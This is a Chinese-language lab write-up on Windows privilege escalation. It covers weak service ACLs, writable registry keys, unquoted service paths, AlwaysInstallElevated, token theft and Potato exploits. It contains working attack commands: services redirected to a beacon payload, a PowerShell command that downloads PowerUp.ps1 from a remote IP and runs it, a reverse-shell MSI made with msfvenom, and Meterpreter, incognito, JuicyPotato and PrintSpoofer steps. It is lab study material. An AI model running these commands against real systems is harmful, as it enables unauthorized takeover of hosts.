权限提升|内网渗透体系建设

权限提升|内网渗透体系建设

做这篇文章的实操花了我几乎三天的时间(当然期间也有学校课程和一些其他的事情,不过主要还是提权方面的知识真的值得细细品味学习所以速度放慢了些), 但是个人感觉并不是很满意, 因为很多个按照预计应该能够提权成功的方法并没有完成(或是结果失败或是夭折)。 在复现的过程在因为看书学习的过程中里面几乎没有给到具体的github项目, 所以这些工具项目都需要自己找, 而不同的作者写的工具或多或少都有一些差异, 有的是使用方方式我不熟悉, 也有的是确实没能成功利用, 这些工具的逐个测试可以说花费了大量的时间。还有一点那便是环境搭建了, 因为一些漏洞的特殊条件使得我不得不对靶机进行调整, 或者使用exp需要进行一些相关的环境配置, 其中很让人头疼的一点便是defender的检查能力, 除了官方的工具外很多提权的脚本都会被defender给直接干掉, 这无形中有添加了大量的学习成本。

总的来说,文中里面很多漏洞没有利用成功,但这也是提权的乐趣所在吧, 毕竟如果有能几乎通杀的高效提权的话那么做提权工作要学习的东西以及门槛都会低很多, 而正是因为各种细节(文件系统权限,程序加载细节,系统权限控制,系统版本等)都需要注意, 所以在实操的过程中国自己也是学习到了不少的东西。

闲话多了........

十一点半, 会宿舍睡个早觉了

1 系统内核漏洞提权

1.1查找系统潜在漏洞

  1. 手动寻找可用漏洞

    systeminfo

    执行命令后可以根据系统版本和系统的补丁程序, 将两者结合通过相关辅助网站找到没打补丁的可能存在的系统漏洞

    MS18-8129与KB4131188对应, CVE-2020-0787与KB4540673对应

    image-20221014182612951

  2. 借助WES-NG查找可用漏洞

    python3 wes.py --update  #更新漏洞数据库tyae
    python3 wes.py sysinfo.txt --impact "Elevation of Privilege" #--impact指定漏洞类型为提权漏洞
    python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only #--exploits-only过滤查找已公开EXP的提权漏洞

    Windows Exploit Suggester(WEG)项目于2014年发布, 项目根据操作系统版本结合systeminfo输出的信息, 结合Microsoft安全公告数据Excel文件找到可能存在且未打补丁的系统漏洞, 该工具在Windows XP/Vista上运行良好, 但是对应近几年的新版本操作系统适用性很低, 因为工具以来的Excel文件自2017第一季度之后就不再更新(这就意味着只能匹配2017第一季度之前的系统漏洞)

    Windows Exploit Suggester-Next generation(WEG-NG)项目就是基于WEG创建的新一代系统提权辅助工具, 项目当前仍在维护当中

    在Win10的虚拟机中执行命令并没有找到任何的漏洞结果

    image-20221014192613268

    之后我便道出了一份WIN8执行systeminfo的结果替换sysinfo.txt, 就有十几个结果了:

    image-20221014193227333

1.2 确定并利用漏洞

这部分就是直接实操根据返回结果的输出逐个找poc进行测试的过程了, 这里因为试了几个输出可能存在的漏洞都没成功所以这里就不放截图了

2 系统服务提权漏洞

通常用户在安装的应用软件会在本地注册一些服务, 并且大多数服务器在计算机开机时以系统SYSTEM权限启动。应用软件在注册服务时, 会在下面路径中创建响应的注册表项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

注册表下面有很多个表项, 每条表项分别对应一个服务, 默认情况下系统就有上百条系统服务表项数据, 例如查询一下我本地安装Chrome和Everything之后的服务表项数据:

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gupdate

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Everything

其中ImagePath数据项就是启动服务执行的命令

image-20221014210310730

image-20221014210203274

因为当前我的靶机是新的WIN10虚拟机所以很多漏洞默认是不存在的, 后面为了满足条件进行操作复现我可能会直接使用administrator管理员权限进行一些配置

然后服务提权方面的我主要以Edge的更新服务为主要操作演示对象(之前一直没动手怕修改了服务出什么问题, 然后就过滤了一下update服务然后找到了Edge的更新服务,一般新版windows都是自带edge的锁做演示对象很合适)

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdate
注册表相关信息:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdate
 DelayedAutostart    REG_DWORD    0x1
 DependOnService    REG_MULTI_SZ    RPCSS
 Description    REG_SZ    使你的 Microsoft 软件保持最新状态。如果此服务已禁用或停止,则 Microsoft 软件将无法保持最新状态,这意味着无法修复可能产生的安全漏洞,并且功能也可能无法使用。如果没有 Microsoft 软件使用此服务,则此服务将自行卸载。
 DisplayName    REG_SZ    Microsoft Edge Update Service (edgeupdate)
 ErrorControl    REG_DWORD    0x1
 ImagePath    REG_SZ    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
 ObjectName    REG_SZ    LocalSystem
 Start    REG_DWORD    0x2
 Type    REG_DWORD    0x10
 WOW64    REG_DWORD    0x14c

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\edgeupdate\TriggerInfo
accesschk64.exe /accepteula -quv "C:\Program Files (x86)\Microsoft\EdgeUpdate"
Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.169.31
Medium Mandatory Level (Default) [No-Write-Up]
RW NT SERVICE\TrustedInstaller
  FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
  FILE_ALL_ACCESS
RW BUILTIN\Administrators
  FILE_ALL_ACCESS
R  BUILTIN\Users
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\???????????
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
C:\Program Files (x86)\Microsoft\EdgeUpdate\Download
Medium Mandatory Level (Default) [No-Write-Up]
RW NT SERVICE\TrustedInstaller
  FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
  FILE_ALL_ACCESS
RW BUILTIN\Administrators
  FILE_ALL_ACCESS
R  BUILTIN\Users
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\???????????
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
C:\Program Files (x86)\Microsoft\EdgeUpdate\Install
Medium Mandatory Level (Default) [No-Write-Up]
RW NT SERVICE\TrustedInstaller
  FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
  FILE_ALL_ACCESS
RW BUILTIN\Administrators
  FILE_ALL_ACCESS
R  BUILTIN\Users
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\???????????
  FILE_LIST_DIRECTORY
  FILE_READ_ATTRIBUTES
  FILE_READ_EA
  FILE_TRAVERSE
  SYNCHRONIZE
  READ_CONTROL
C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
  FILE_ALL_ACCESS
RW BUILTIN\Administrators
  FILE_ALL_ACCESS
R  BUILTIN\Users
  FILE_EXECUTE
  FILE_READ_ATTRIBUTES
  FILE_READ_DATA
  FILE_READ_EA
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
  FILE_EXECUTE
  FILE_READ_ATTRIBUTES
  FILE_READ_DATA
  FILE_READ_EA
  SYNCHRONIZE
  READ_CONTROL
R  APPLICATION PACKAGE AUTHORITY\???????????
  FILE_EXECUTE
  FILE_READ_ATTRIBUTES
  FILE_READ_DATA
  FILE_READ_EA
  SYNCHRONIZE
  READ_CONTROL

image-20221016031547949

image-20221016031611316

2.1 不安全的服务提权

accesschk64.exe /accepteula -uwcqv "INTERACTIVE" *    # 查询INTERACTIVE组可修改配置的服务
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *    # 查询Authenticated Users组可修改配置的服务

sc config <Server Name> <BinfilePath Cloumn>= "cmd.exe /k <EvilFilePath>"   # 修改服务启动文件为恶意文件路径/命令

#重启服务
sc stop <Service Name>    
sc start <Service Name>

ACL(访问控制列表)定义了安全对象的访问控制策略, 用于规定哪些主体对其拥有访问权限和拥有什么样的权限, Windwos的系统服务正是通过ACL指定用户对其拥有的权限, 常见权限如下:

权限 说明
SERVICE_START 启动服务的权限
SERVICE_STOP 停止服务的权限
SERVICE_PAUSE_CONTINUE 暂停/继续运行服务的权限
SERVICE_QUERY_STATUS 查询服务状态的权限
SERVICE_QUERY_CONFIG 查询服务配置的权限
SERVICE_CHANGE_CONFIG 更改服务配置的权限
SERVICE_ALL_ACCESS 完全控制权限

若低权限用户对系统服务引用修改服务配置的权限, 就可以直接修改系统服务启动时的二进制文件路径

实战中微软官方提供的管理工具AccessChk可以用来枚举目标主机存在权限缺陷的系统服务. 该工具常用来枚举和查询系统中指定用户、组对特定资源(包括文件,文件夹,注册表,全局对象和系统服务等)的访问权限

低权限用户可以检查Authenticated Users组和INTERACTIVE组对系统服务的权限, 因为这两个组拥有的权限一般用户也是具备的, 它们都是计算机本地Users组的成员

用户组 说明
Authenticated Users 结果身份验证的用户, 包含系统中所有使用用户名、密码登录并通过身份验证的账户
但不包括来宾账户
INTERACTIVE 交互式用户组, 包含系统中所有直接登录到计算机进行操作的用户

下载文件之后将accesschk64.exe上传到靶机上

image-20221014213540888

然后执行查询语句查找这两个用户组的权限(当前默认下两个用户组都是没有符合要求的结果的):

image-20221014213644684

如果有满足要求可以修改配置的服务的话可以先通过reg query查询到二进制文件地址的字段, 然后将其修改为反弹恶意文件的路径:

sc config <Server Name> <BinfilePath Cloumn>= "cmd.exe /k <EvilFilePath>"

如果用户对服务是否同时有SERVICE_STARTSERVICE_STOP权限的话可以通过下面命令重启服务:

sc stop <Service Name>
sc start <Service Name>

(此外最简单的就是重启让服务重新启动了)

2.2 服务注册表脆弱项

accesschk64.exe /accepteula -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services #查询当前用户具有写入权限的注册表项

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<Server Name> /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k <EvilFilePath>" /f    #修改注册表项的ImagePath字段(也可能是其他字段和类型,看具体的服务配置修改)

accesschk64.exe /accepteula -ucqv "<UserGroup Name>" <Server Name>    #查询用户组对服务是否有重启权限
accesschk64.exe /accepteula -ucqv "INTERACTIVE" <Server Name>   
accesschk64.exe /accepteula -ucqv "Authenticated Users" <Server Name>

#重启服务
sc stop <Service Name>    
sc start <Service Name>

Windows注册表中存储了每个系统服务的条目, 而注册表使用ACL来管理用户对其拥有的访问权限。

这里和上面其实原理是一样的, 都是ACL配置出错, 这里主要的点就是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置

  1. 不安全的服务提权是ACL权限配置错误导致服务配置修改权限分配到了低权限用户手中
  2. 服务注册表脆弱项是ACL权限配置错误导致注册表表项修改权限分配到了低权限用户手中

因为我当前用户h0cksr是在administrators用户组的所以有很多的可修改项,但是因为当前的shell是低权限身份执行的, 所以如果直接使用注册表修改命令是不行的,会返回拒绝访问,不能单纯直接地修改注册表而是需要拿到管理员身份执行命令的权限进行修改(WIN10)

image-20221014224642183

在众多目标中查看一下edgeupdate的注册表权限分配情况:

image-20221016032309784

但是因为权限最小化原则所以当前的上线会话虽然属于administrators用户组但是只有低权限, 使用直接执行是会失败的

image-20221016032531618

进入系统使用管理员用户修改注册表:

image-20221016032717179

这个服务重启的话也需要管理员权限, 但是我们可以直接关机重启, 然后就可以等待反弹shell了(这个反应是比较慢的,可能开机之后需要等上个一两分钟, 但是如果修改edgeupdatem服务的话就会快很多几乎开机之后马上就反弹shell了,它们两个都是运行edge更新程序的)

reg add HKLM\SYSTEM\CurrentControlSet\services\edgeupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\h0cksr\Desktop\1\beacon.exe" /f

image-20221016034444682

2.3 服务路径权限可控

accesschk64.exe /accepteula -quv "<ServerFilePath>" #查看服务的二进制文件目录关于全部用户组的权限分配情况,如果接的是一个目录那就会分别列出该目录下全部目录和文件对各个用户组的权限分配情况
accesschk64.exe /accepteula -quv "<ServerGroupName>" "<ServerFilePath>" #查看服务的二进制文件目录关于指定用户组的权限分配情况

shutdown -r -t 0

#重启服务
sc stop <Service Name>    
sc start <Service Name>

简单说就是, 因为权限配置错误问题,导致低权限用户可以修改系统服务的二进制文件或者其所在的目录具有写权限. 这时候低权限用户就可以

  1. 直接将二进制文件替换为恶意程序让系统以system权限执行完成提权
  2. 在二进制文件目录下写入或者替换动态链接库文件进行dll劫持, system身份加载代码

这种情况就是一个个服务慢慢找了

  1. 从服务项注册表中找到全部服务程序所在目录路径
  2. 检查Authenticated Users,INTERACTIVE,当前用户所在的其他用户组, 这三个用户组对文件夹目录是否有控制权限
  3. 筛选出有控制权限的目录
  4. 进入有控制权限的服务目录替换二进制文件或者dll文件

这个要干的活稍微麻烦一点, 主要是要一个个服务查找到对应的二进制文件目录, 然后再检查当前用户对目录的控制权限是否有写入权限, 这点手工活不少, 不过可以参考下面未引用的服务路径直接wmic查看全部服务的PathName然后取出该字段, 再写个bat或ps脚本逐行执行上面accesschk64.exe用户组的权限检测, 最后输出满足要求的服务目录(ps和bat我都不会写,太菜了...)

image-20221016013849205

因为默认的administrator非管理员权限下没有满足要求的表项所以我直接使用管理员权限修改了Edge的更新目录文件为beacon.exe了

  1. 先备份edge更新文件
    image-20221016030438936
  2. 使用beacon.exe替代原本的edge更新程序
    image-20221016030434765

之后就直接重启, 然后在重启完成后就可以看到System用户上线了

image-20221016030647849

2.4 未引用的服务路径

wmic service get DisplayName, PathName, StartMode|findstr /i /v "C:\Windows\\" |findstr /i /v """  #查询不带"来指定二进制文件路径的服务

accesschk64.exe /accepteula -quv "<UserGroupName>" "<DirFromServer>"    #查找带空格提前解析的目录有没有写入权限

在Windows中, 如果服务路径未被包含在""中,且路径中有空格的话那么就可能存在被截胡的可能, 例如一个服务二进制文件所在的路径为C:\Program Files\Sub Dir\Program File.exe, 那么这时候如果存在下面几个文件那么服务就不会执行原本的二进制文件而执行下面的exe文件(优先性从高到低)

  1. C:\Program.exe
  2. C:\Program Files\Sub
  3. C:\Program Files\SubDir\Program.exe

这里需要做的和上面其实差不多, 只是上面的服务路径权限可控利用的方式为替换二进制文件而这里的利用方法是利用Windows解析特性让恶意文件优先于服务文件被替代执行, 需要做的有三步:

  1. 检查指定路径带空格且没有被"包含的服务
  2. 检查空格路径所在目录是否有写入权限
  3. 将恶意文件上传到空格所在目录并且修改为符合要求的文件名

使用wmic查询系统服务,然后过滤掉C:\Windows\目录的服务, 因为很多系统自带的服务都是在这个目录下的(滤掉的原因应该是我们对这个目录的不具备写入权限)

然后再滤掉带有"的结果, 最终查看有哪些满足要求的服务:

image-20221016014704555

可以看到两个服务都没有具体的PathName,这时候可以通过注册表查询一下具体情况

image-20221016015540531

image-20221016015629921

两个服务都是在System32下面的, 均不可用, 默认情况下找到的可用的也就是vm的工具目录和一个更新程序, 但是担心vmtools运行出问题之后操作就麻烦了所以就没操作了

2.5 PowerUP

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.130:80/PowerUp.ps1');Invoke-AllChecks"

PowerUP是一个ps脚本, 上面的几种有关服务的提权方法都集成在里面

但是实际使用的时候直接被杀软干翻了...

image-20221016041347834

3 MSI 安装策略提权

3.1 确定系统是否存在漏洞

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

MSI安装策略漏洞提权的关键在于用户在配置MSI安装策略时是否有启用永远以高特权进行安装(AlwaysInstallElevated,默认是不开启的), 如果策略开启的话系统注册表的下面两个位置的键值均为1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windwos\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

所以可以直接执行reg query查询注册表的键值以确定是否开启策略, 默认系统没开启策略的情况下我执行查询语句直接显示没有Installer表项的

image-20221016043357145

手动修改一些配置(注意改了配置之后重启一下)

image-20221016043429041

在修改配置后发现HKEY_CURRENT_USER的Installer注册表项已经变为1, 但是HKEY_LOCAL_MACHINE仍然没有Installer表项

image-20221016043707465

3.2 创建恶意MSI并安装

msfvenom -p windows/meterpreter/reverse_http LHOST=csServerIp LPORT=ListenPort -f msi -o reverse_tcp.msi    #生成反弹shell的msi安装程序

msiexec /quiet /qn /i reverse_http_80.msi   #使用系统自带的安装应用msiexec运行msi程序

使用msfvenom生成反弹shell的msi文件, 然后将其上传到靶机中

image-20221016051033374

然后执行命令通过msiexec运行程序

shell msiexec /quiet /qn /i reverse_http_80.msi
  1. /quiet 静默模式静止在安装期间向用户发送任何消息
  2. /qn 无GUI模式安装
  3. /i 常规安装

image-20221016051101070

然后就可以收到反弹shell了, 但是有点奇怪, 反弹回来的也还是原用户的会话, 并不是system, 然后我使用这个会话执行cs的getsystem以及派生到msf的meterpreter执行getsystem均失败了(嗯,,,,感觉就是一个假的system, 因为在cs里面直接dir的哈当前是在system32目录下的, 但是对当前目录并没有写入权限), 看样子AlwaysInstallElevated配置并没有生效(结合上面HKEY_LOCAL_MACHINE注册表中并没有Installer数据项看来应该是配置没有起作用但是下面的操作就有点迷惑, 不管UAC点击是或者否都会返回一个system的会话)

image-20221016051426662

然后我就到靶机里面直接执行msi安装程序, 弹出UAC确认提醒, 点击确认之后才成功反弹回一个System的会话(不管点击是还是否,弹回的会话都是system的)

image-20221016051906194

image-20221016051902565

4 访问令牌操纵

关于令牌操纵这部分的内容因为本人对于Windwos的一些内部API和安全验证机制并不是那么了解, 另外也想把笔记做的完善一些方便以后自己的查阅, 所以就把这部分有关令牌权限的介绍内容详细的记了下来.

Windows的访问控制模型(Access Control Model)是Windwos系统安全性的基础构件, 由访问令牌(Access Token, 访问者所有)和安全描述符(Security Descriptor, 被访问者所有)两部分组成。通过比较访问令牌和安全描述符的内容, Windows可以对访问者是否拥有访问资源对象的能力进行判定.

4.1 访问令牌

访问令牌是描述进程或进程安全上下文的对象, 包含进程户线程关联的用户账户的标识和特权等信息. 系统使用访问令牌来控制用户可以访问的安全对象, 并限制用户执行相关操作系统的能力.

用户登录结果系统的身份验证后 系统就会为用户创建一个访问令牌,包括登录过程返回的SID, 由本地安全策略分配给用户和用户所属安全组的特权列表.此后, 代表该用户执行的每个进程都有此访问令牌的副本, 当前程或进程与安全对象交互或尝试执行需要特权的系统任务, 系统都会使用此访问令牌标识并且确定关联的用户.

Windows令牌可以分为主令牌和模拟令牌. 主令牌与进程相关联, 是由Windwos内核创建并分配给进程的默认访问令牌, 每个进程都有一个主令牌, 描述了与当前进程关联的用户账户的安全上下文.

默认情况下, 当进程的线程与安全对象交互时, 系统使用主令牌. 此外, 线程可以模拟客户端账户. 模拟是指线程在安全上下文中执行的能力, 并且该上下文不同于拥有该线程的进程的上下文. 当线程模拟客户端时, 模拟线程将同时具有主访问令牌和模拟令牌.

通常, 通过操纵访问令牌, 使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程. 这常常使用内置的API从指定的进程中复制访问令牌, 并将得到的访问令牌用户现有进程或新生成的进程/线程, 以达到权限提升并绕过访问控制的目的. 这个过程就成为令牌窃取.

Win32 API 说明
OpenProcess 根据提供的进程id获取指定进程的句柄
OpenProcesToken 获取与指定进程相关联的访问令牌的句柄
DuplicateTokenEx 复制现有的访问令牌以创建一个新的访问令牌, 包括创建主令牌或模拟令牌
ImPersonateLoggedOnUser 调用线程来模拟登录用户的访问令牌的安全上下文
CreateProcessWithTokenW 创建一个新进程以及主线程, 新进程在指定令牌的安全上下文中运行
CreateProcessAsUserA 创建一个新的进程以及主线程, 新进程在由指定令牌表示的用户的安全上下文中运行

令牌窃取只能在特权用户上下文中才能完成, 因为通过令牌创建进程使用的CreateProcessWithTokenWCreateProcessAsUserA两个WindowsAPI分别要求用户必须拥有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege特权, 而拥有这两个特权的用户一般为系统管理员账户, 网络服务账户系统服务账户(如IIS,MSSQL等)

4.2 常规令牌窃取操作

常规的令牌操纵往往用来将管理员权限提升为SYSTEMTrustedInstaller等更高系统权限, 实战中如果本地管理员账户因为某些组策略设置无法获取某些特权可以使用令牌窃取假冒NT AUTHROITY\SYSTEM的令牌, 以获取更高的系统权限.

此外令牌窃取还长用于降权或用户切换操作

  1. 使用incognito.exe窃取令牌

    incognito.exe list_tokens -u #查看哪些用户的token可以被获取
    incognito.exe execute -c ""    #获取指定用户token并以该用户token权限执行命令

    找了一圈关于incognito.exe最后找到incognito可用, 项目里面有编译好的exe文件

    但是在cs上传上去之后并不能执行, 后面发现是被defender给干了

    image-20221016182948022

    为了方便实操演示所以我就直接运行文件存在设备商, 然后运行(虽然直接上传不能用但是后面的msf是可以直接加载incognito模块并且成功利用的,不受defender干扰)

    image-20221016183149149

    在这里除了当前的登录用户外就没其他令牌了, 这点有点奇怪, 因为我之后又新建了一个test01用户并且登录了用户到机器上(添加到了Remote Desktop Users用户组), 但是使用incognito还是只能看到自己当前用户, 起初还以为是上面项目中的incognito拉胯了, 但是将会话派生到meterpreter中使用incognito也还是一样, 只能看到当前用户的token可用, 所以这应该就是我们前面所说的权限问题了

    image-20221016220933755

    image-20221016220721684

  2. 利用Metasploite窃取令牌

    msfconsole
    exploit/multi/handler
    set payload indows/meterpreter/reverse_http
    set lhost msfServerHost
    set lport msfServerPort
    run
    
    load incognito   #导入incognito令牌窃取模块
    list_tokens -u   #查看可被1窃取令牌的用户
    impersonate_token ""   #窃取账户令牌
    steal_token  #从指定进程中窃取令牌

    可以说如上面所示了, 在kali里面执行上面命令开始监听, 然后在cs中将会话派生到msf中然后执行list_tokens -u列出可被窃取令牌的用户, 然后再运行impersonate_token窃取token

    image-20221016221704346

  3. 通过令牌获取TrustInstaller权限

    sc start TrustedInstaller    #开启TrustedInstaller服务(默认关闭状态)
    tasklist /V |findstr TrustedInstaller    #查询当前启动的TrustedInstaller的pid
    
    laod incognito   #meterpreter中导入incognito这个令牌窃取模块
    steal_token     #meterpreter执行获取token

    在Windows系统中, SYSTEM是最高权限, 但是即便获取SYSTEM权限也不能修改Windows系统文件(例如C:\Windows\Servicing目录即便是SYSTEM权限也不能对其写入)

    icacls "C:\Windows\servicing"  #查看目录的权限分配

    C:\Windows\servicing这个目录NT Serivice\TrustedInstaller账户有完全控制的权限

    从WindowsVista开始系统内置了一个TrustedInstaller安全主体, 拥有修改系统文件权限, 专门对系统进行维护、更新等操作.TrustedInstaller以一个账户组的形式出现, 即NT Serivice\TrustedInstaller

    TrustedInstaller本身是一个服务, 在开启时会运行程序C:\Windows\servicing\TrustedInstaller.exe, 这个程序的拥有者为NT Serivice\TrustedInstaller所以测试人员可以通过窃取TrustedInstaller.exe程序的token以提升到TrustedInstaller权限

    直接以普通身份开启服务会因为权限不足而开启失败(因为TrustedInstaller服务默认关闭状态所以需要手动打开)

    image-20221016223223827

    人后我便在一个system的会话中开启TrustedInstaller服务并且拿到其pid

    image-20221016223508888

    将正常非system权限的会话派生到msf人后使用steal_token窃取token(因为没权限也懒得去专门开个IIS或Mssql的漏洞环境了, 所以这里盗取token自然是失败了的, 但是实操的时候如果是IIS或者Mssql这种服务用户一般就是直接冲就行, 操作过程是没问题的)

    image-20221016223538753

4.3 Potato 家族提权

Potato通过操纵访问令牌, 可以将已获取的windows服务账户权限提升到SYSTEM权限

使用限制: 和token窃取一样, 需要用户有SeAssignPrimaryPrivilegeSeImpersonatePrivilege特权

Potato家族正是通过滥用Windows服务账户拥有这两个特权权限, 将已获取的SYSTEM账户的访问令牌传入CreateProcessWithTokenWCreateProcessAsUserA(具体的作用看上面访问令牌的介绍表格)

下面的Rotten PotatoJuicy Potato方法都只适用于Windwos 10 version 1809Windwos Server 2019之前的版本系统,在之后的版本中, 微软通过检查PRC绑定字符串中指定的端口来修复了这个问题, 修复后的系统无法通过原来的方法实现中间人攻击, 所以我使用前两个方法提权就失败了(Win10教育版虚拟机), 但是Pipe Potato就没有PRC端口加载这个限制, 所以提权成功了(但是还是需要token特权的所以才会作为potato方法之一)

  1. Rotten Potato

    execute -cH -f ""  #Meterpreter运行烂土豆程序
    
    load incognito #导入incognito模块用于窃取token
    list_tokens -u #查看当前可窃取的token(成功的话在执行rottenpotato之后可以看到SYSTEM可被窃取)
    impersonate_token "NT AUTHORITY\SYSTEM"  #窃取SYSTEM用户token

    rottenpotato.exe程序可以从项目RottenPotato获取然后上传到靶机上(项目里的exe会被defender查出)

    烂土豆的利用原理:

    1. 通过GoGetInstanceFromIstorage API,将一个COM对象(BITS)加载到本地可控端口(TCP 6666), 并诱骗BITS对象以SYSTEM账户的身份向该端口发起NTLM验证
    2. 借助本地RPC 135端口, 对BITS对象的认证过程实施中间人攻击, 同时调用相关的API为SYSTEM账户在本地生成一个访问令牌
    3. 通过SYSTEM账户的令牌创建新进程, 以获取SYSTEM权限

    这里的实操有点拉胯, 因为不知道为什么靶机打开的IIS服务一直都是404, 但是在渗透攻击机倒是没问题, 所以最后我便克隆了一份渗透机用来打开iis服务(并且在服务目录下放一个1.aspx的马), 然后回到渗透机中通过nat网卡地址访问克隆机器的iis服务

    image-20221017162724609

    这时候可以看到iis服务的webshell运行命令拿到的是IIS用户组的账号, 并且有SeImpresonatePrivilege权限, 这就意味着我们可以使用这个用户身份反弹shell来加载执行incognito

    image-20221017163555865

    image-20221017184231485

    但是这里并没有列出显示SYSTEM, incognito可以直接窃取的令牌只有IUSR这个mssql用户的账号, 但是如果直接使用incognito窃取的话依然会失败, 到msf中就可以, 此外正常来说就是上传rottenpotato.exe烂土豆利用程序执行之后执行list_tokens -u应该是可以看到SYSTEM权限token可被窃取的, 但是实际操作的时候并没有成功, 所以就只在后面执行了一下获取Mssql用户的token

    image-20221017184401390

    image-20221017185000827

  2. Juicy Potato

    powershll -ep bypass clsid.ps1 > CLSID.list  #获取当前系统全部的CLSID
    1.bat #运行bat脚本获取可以利用的CLSID
    juicypotato.exe -t t -p "" -l 6666 -n 135 -c    
    # -t指定要使用CreateProcessWithTokenW和CreateProcessAsUserA那个函数创建进程
    # -p指定反弹shell的payload文件
    # -l指定COM对象加载的端口
    # -n指定本地RPC服务端口,默认为135
    # -c指定要加载COM对象的CLSID

    Juicy PotatoRotten Potato原理几乎相同, 只是在后者基础上做了拓展, 以便更灵活的利用烂土豆, 且不再需要像烂土豆一样依赖于Meterpreter, 还可以自定义COM对象加载的端口, 以及根据系统版本更换可用的COM对象(关于COM的更多信息在后面的内网横向部分会提到)

    1. 上传Juicy Potato的利用程序

    2. 根据系统操作版本选择一个可用的COM对象

      这个步骤就是烂土豆的拓展, 在RottenPotato中默认选择的是BITS对象, 这个可用对象的CLSID根据脚本获得, 不同的系统有哪些SLID可以参考CLSID

    3. 执行Juicy Potato程序加载可用的COM对象获取SYSTEM权限并运行指定payload程序反弹shell

    实操演示

    下载juicy-potato然后上传(会被defender干掉)

    运行clsid.ps1将全部clsid输出到CLSID.list文件中

    powershll -ep bypass clsid.ps1 > CLSID.list
    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
    $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
    foreach($a in $CLSID)
    {
    Write-Host $a.CLSID
    }

    运行1.bat将可用的CLSID全部输出到result.log文件中(脚本中的CLSID.list,juicypotato.exe,result.log三个文件的位置根据实际情况修改)

    1.bat
    @echo off
    :: Starting port, you can change it
    set /a port=9999
    SETLOCAL ENABLEDELAYEDEXPANSION
    
    FOR /F %%i IN (CLSID.list) DO (
      echo %%i !port!
      juicypotato.exe -z -l !port! -c %%i >> result.log
      set RET=!ERRORLEVEL!
      :: echo !RET!
      if "!RET!" == "1"  set /a port=port+1
    )

    之后选择result.log中的任意一个CLSID运行juicypotato脚本

    juicypotato.exe -t t -p "" -l 6666 -n 135 -c 

    因为这里完全没有输出结果, 也就是没有可用的CLSID自然也就失败了

    image-20221017195620531

  3. PrintSpoofer (Pipe Potato)

    PrintSpoofer64.exe -i -c whoami  #whoami查看提权是否成功
    PrintSpoofer64.exe -i -c 

    PrintSpoofer 在2020年5月披露, 主要利用了打印机组件路径检查中存在的一个Bug, 使得高权限服务能连接到测试人员创建的命令管道, 以获取的高权限账户的令牌来创建新进程

    实操演示

    PrintSpoofer直接下载exe文件上传到靶机(会被defender干掉)然后执行命令即可

    image-20221017201855376

    image-20221017202110621

  4. Sweet Potato

